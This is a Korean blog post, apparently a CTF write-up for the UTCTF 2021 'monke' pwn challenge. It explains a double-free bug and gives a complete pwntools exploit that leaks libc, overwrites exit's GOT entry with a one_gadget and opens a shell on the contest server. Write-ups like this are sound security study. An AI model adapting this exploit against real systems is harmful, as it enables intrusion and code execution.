티스토리 뷰

CTFs WriteUp

[pwn] UTCTF 2021 - monke

sindo 2021. 3. 23. 16:42

보호기법

64bit에 보호기법은 Partial RELRO, NX가 적용되어 있다.

바이너리 분석

기능은 별거 없다.

  1. walk
  1. sleep ⇒ exit(0)
  1. inventory
  1. (조건) take banana

세가지 기능이 있는데, walk를 누르면 동서남북으로 이동하게 해주고 rand() & 1이 0이 아니면 4번 조건을 켜준다.

바나나를 주울 때는 길이와 바나나의 이름을 받고, inventory에 저장한다.

그리고 이 바나나는 inventory기능에서 eat하거나 rename을 통해 처리할 수 있게 된다.

취약점

취약점은 Double Free가 발생한다.

 

위의 코드는 inventory에 들어있는 바나나를 eat할 때 실행되는 루틴이다.

여기서 free(*inverntory[v7])를 진행하고나서 inventory[v7] = NULL로 초기화하는데 can_eat을 0으로 맞춰줌에 따라 inventory[v7] = NULL을 우회할 수 있다.

따라서 Double Free가 발생하게 되고, 이것을 이용해서 got를 overwrite하면 된다.

 

can_eat는 위에서 맞출 수 있는데, 우리가 walk기능을 선택했을 때 이론상 [n|s|e|w]만 움직일 수 있게 하지만 이거와 다른 방향을 누르게 되면 0으로 맞출 수 있게 된다.

나는 그냥 'z' 넘겨줬다.

Exploit code

Double free가 되는 것을 알았으니 got를 overwrite해서 shell을 얻어보자.

from pwn import *

def init():
	p.send("0\nz\n")

def inventory_spray():
	for i in range(2):
		p.sendline("3\n%d\n%s"%(0x10, "AAAAAAAA"))
	for i in range(2):
		p.sendline("3\n%d\n%s"%(0x500, "AAAAAAAA"))

one = [0x4f3d5, 0x4f432, 0x10a41c]
exit_got = 0x602058

server = 1
if server:
	p = remote("pwn.utctf.live", 9999)
else:
	p = process("./monke")

# for eat_cnt == 0
init()

# find banana <- random?
p.send("0\nn\n")
inventory_spray()

for i in range(4):
	p.send("2\n%d\neat\n"%i)
	p.recv()

p.sendline("2")

# server buffering...
if server:
	p.recvuntil("You are in a field with a banana on the ground.\n")
	p.recvuntil("You are in a field with a banana on the ground.\n")
	p.recvuntil("Pick an item.\n")

# actually, heap address isn't necessary
p.recvuntil("1: ")
heap_base = u64(p.recvline().strip().ljust(8,b'\x00')) - 0x16a0
print("[*] heap_base : " + hex(heap_base))

# libc_leak
p.recvuntil("2: ")
libc_base = u64(p.recvline().strip().ljust(8,b'\x00')) - 0x3ebca0
og = libc_base + one[1]
print("[*] libc_base : " + hex(libc_base))
print("[*] one_gadget : " + hex(og))

p.send("1\nrename\n")
p.sendline(p64(exit_got))

# 0x20 [  2]: 0xac76e0 —▸ 0x602058 (_GLOBAL_OFFSET_TABLE_+88)
p.send("3\n16\n") # malloc(0x10) -> 0xac76e0
p.sendline(p64(og)) # malloc(16) -> 0x602058 <- one_gadget

p.sendline("1")	# sleep -> exit(0) -> call one_gadget

p.interactive()

Flag

Flag : utflag{m0nk3y_m0nk3y}

'CTFs WriteUp' 카테고리의 다른 글

[pwn] 0ctf 2021 - listbook  (0) 2021.07.06
[pwn] UTCTF 2021 - AEG  (0) 2021.03.19
[pwn] UTCTF 2021 - Functional Programming  (0) 2021.03.18
[pwn] UTCTF 2021 - 2Smol  (0) 2021.03.16
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
글 보관함